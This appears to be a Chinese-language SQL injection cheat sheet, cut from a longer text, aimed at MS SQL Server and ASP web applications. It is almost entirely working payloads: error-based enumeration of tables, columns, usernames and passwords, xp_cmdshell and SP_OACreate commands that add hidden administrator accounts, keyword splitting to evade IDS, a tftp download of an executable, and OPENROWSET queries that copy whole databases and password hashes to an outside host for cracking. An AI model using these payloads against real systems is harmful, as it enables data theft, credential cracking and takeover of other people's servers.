and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其他的欄位
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到使用者名稱
依次可以得到密碼。。。。。假設存在user_id username ,password 等欄位

傳統的存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT ystem32\cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT ystem32\cmd.exe /c net localgroup administrators swap/add'

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共用目錄bak.dat'
如果被限制則可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
傳統查詢構造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的使用者哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是得到資料庫中的第一個使用者表,並把表名放在ffff使用者的郵箱欄位中。
通過查看ffff的使用者資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

象下面這樣就可以得到第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴充儲存就可以通過一般的方法調用:
exec xp_webserver
一旦這個擴充儲存執行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, 'admin''--', 'password', 0xffff)-

;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //為access資料庫

-----------------------------------------------------------通常注射的一些介紹:
A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
select * from 表名 where 欄位=49
注入的參數為ID=49 And [查詢條件],即是產生語句:
select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的參數是字元型,SQL語句原貌大致概如下:
select * from 表名 where 欄位='連續劇'
注入的參數為Class=連續劇' and [查詢條件] and ''=' ,即是產生語句:
select * from 表名 where 欄位='連續劇' and [查詢條件] and ''=''
(C) 搜尋時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
select * from 表名 where 欄位like '%關鍵字%'
注入的參數為keyword=' and [查詢條件] and '%25'=', 即是產生語句:
select * from 表名 where欄位like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統資料表,儲存著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示使用者建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名後,用object_id('表名')擷取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個擷取所猜解表裡面的欄位名。


post.htm內容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚舉出他的資料表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的欄位處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
--------------------------------進階技巧:
[獲得資料表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

[獲得資料表欄位名][將欄位值更新為欄位名,再想法讀出這個欄位的值就可得到欄位名]
update 表名 set 欄位=(select top 1 col_name(object_id('要查詢的資料表名'),欄位列如:1) [ where 條件]

繞過IDS的檢測[使用變數]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'


1、 開啟遠端資料庫
基本文法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數: (1) OLEDB Provider name
2、 其中連接字串參數可以是任何和連接埠用來串連,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

要複製目標主機的整個資料庫,首先要在目標主機上和自己機器上的資料庫建立串連(如何在目標主機上建立遠端連線,剛才已經講了),之後insert所有遠端資料表到本地表。

基本文法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有資料複製到遠端資料庫中的table1表中。實際運用中適當修改連接字串的IP地址和連接埠,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns

之後,便可以從本機資料庫中看到目標主機的庫結構,這已經易如反掌,不多講,複製資料庫:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

......

3、 複4、 制哈西表(HASH)

這實際上是上述複5、 制資料庫的一個擴充應用。登入密碼的hash儲存於sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之後,6、 就可以進行暴力破解。這需要一點運氣和大量時間。


遍曆目錄的方法:
先建立一個暫存資料表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有磁碟機
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的分類樹結構,並寸入temp表中

5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某個檔案的內容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree適用許可權PUBLIC)
